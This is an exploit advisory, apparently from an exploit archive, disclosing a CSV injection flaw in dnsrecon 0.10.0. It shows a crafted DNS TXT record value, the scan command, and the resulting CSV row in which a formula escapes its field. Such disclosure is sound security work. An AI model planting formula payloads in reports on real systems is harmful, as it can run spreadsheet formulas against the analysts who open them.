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dnsrecon 0.10.0 - CSV Injection Vulnerability
[# Exploit Title: dnsrecon 0.10.0 - CSV Injection
# Author: Dolev Farhi
# Vendor Homepage: https://github.com/darkoperator/dnsrecon/
# Version : 0.10.0
# Tested on: ParrotOS 4.10
dnsrecon, when scanning a TXT record such as SPF, i.e.: _spf.domain.com, outputs a CSV report (-c out.csv) with entries such as Type,Name,Address,Target,Port and String.
A TXT record allows many characters including single quote and equal signs, it's possible to escape the CSV structure by creating a TXT record in the following way:
_spf.example.com "test',=1+1337,'z"
user@parrot-virtual:~$ sudo dnsrecon -d _spf.example.com -c ./file.csv -n 8.8.8.8
[*] Performing General Enumeration of Domain: _spf.example.com
[-] DNSSEC is not configured for _spf.example.com
[*] SOA ns-59.awsdns-07.com 205.1.1.1
[-] Could not Resolve NS Records for _spf.example.com
[-] Could not Resolve MX Records for _spf.example.com
[*] TXT _spf.example.com test',=1+1337,'z
[*] Enumerating SRV Records
[+] 0 Records Found
[*] Saving records to CSV file: ./file.csv
{'type': 'SOA', 'mname': 'ns-59.awsdns-07.com', 'address': '205.1.1.1'}
{'type': 'TXT', 'name': '_spf.example.com', 'strings': "test',=1+1337,'z"}
This output will then be rewritten into a CSV with this structure:
Type,Name,Address,Target,Port,String
SOA,ns-59.awsdns-07.com,205.1.1.1
TXT,_spf.example.com,,,,'test',=1+1337,'z'
The flexibility of TXT record allows many variants of formulas to be injected, from RFC1464 https://tools.ietf.org/html/rfc1464:
Attribute Values
All printable ASCII characters are permitted in the attribute value.
# 0day.today [2024-11-04] #